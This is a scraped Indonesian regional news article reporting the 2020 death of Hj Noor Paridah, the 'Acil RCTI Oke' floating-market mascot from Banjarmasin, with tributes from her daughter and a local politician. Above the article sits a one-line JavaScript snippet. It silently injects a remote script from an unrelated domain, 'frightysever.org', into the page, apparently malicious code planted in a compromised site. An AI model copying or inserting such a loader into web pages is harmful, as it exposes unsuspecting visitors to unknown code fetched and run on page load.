(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Hj Noor Parida alias “Acil RCTI Oke” ikonik stasiun televisi swasta pertama di tahun 90-an menghembuskan nafas terakhir pada Kamis (25/6/2020) pukul 09:00 Wita.
Ya, orang Indonesia khususnya warga Kalimantan Selatan kelahiran di atas tahun 90-an pasti familiar dengan wajah “Acil RCTI Oke”, karena sering wara-wiri menghias televisi swasta pertama di Indonesia.
Meninggalnya “Acil RCT Oke” di rumah duka jalan Alalak Selatan RT 04 Banjarmasin, Kamis (25/6/2020) siang, pelayat datang silih berganti memberikan do’a untuk mendiang Hj Noor Paridah. Tak hanya warga sekitar, anggota DPRD Kalsel HM Rosehan NB turut serta melayat.
Salah satu putri Hj Noor Paridah, Rahmi menuturkan, sepekan sebelum berpulang, sang ibunda sempat membagikan sejumlah warisan yang ia miliki. Bahkan, malam sebelum berpulang ia sempat memberikan isyarat bahwa ia akan berpulang.
“Setelah maghrib, tidak bisa tidur. Beliau berkata, besok sudah pulang. Diucapkan kepada seluruh anak-anak,” kata putri bungsu mendiang Hj Noor Paridah ini.
Selama hidupnya, mendiang Hj Noor Paridah sering kali memberikan nasihat kepada 8 anak-anaknya. Apalagi, sang suami juga sudah berpulang 4 tahun lalu.
“Mama kebetulan sama dengan abah saat meninggal,” tandas Rahmi.
Sementara itu, HM Rosehan NB yang mendampingi Rahmi mengatakan ia memiliki kesan yang luar biasa dengan mendiang Hj Noor Paridah. Apalagi, mendiang Hj Noor Paridah dikenal sangat gaul dengan masyarakat sekitar.
“Almarhumah ini orangnya gaul. Di mana-mana kalau ada saya, selalu memanggil saya. Istilahnya tidak ada jarak antara kita semua,” kata Rosehan.
Apalagi, mendiang merupakan salah satu ikonik Pasar Terapung di Banjarmasin yang menjadikannya terkenal oleh salah satu stasiun televisi swasta nasional kala itu. “Orang menjadi kenal dengan pasar terapung salah satunya karena jasa beliau sebagai maskotnya,” lugas manta Wakil Gubernur Kalsel ini.
Hj Noor Paridah sendiri, dimakamkan di alkah keluarga di Jalan Alalak Selatan RT 03, yang tak jauh dari rumah duka. Hj Noor Paridah sendiri meninggalkan 8 anak dan 16 cucu dengan usia 66 tahun. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More
KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
This website uses cookies.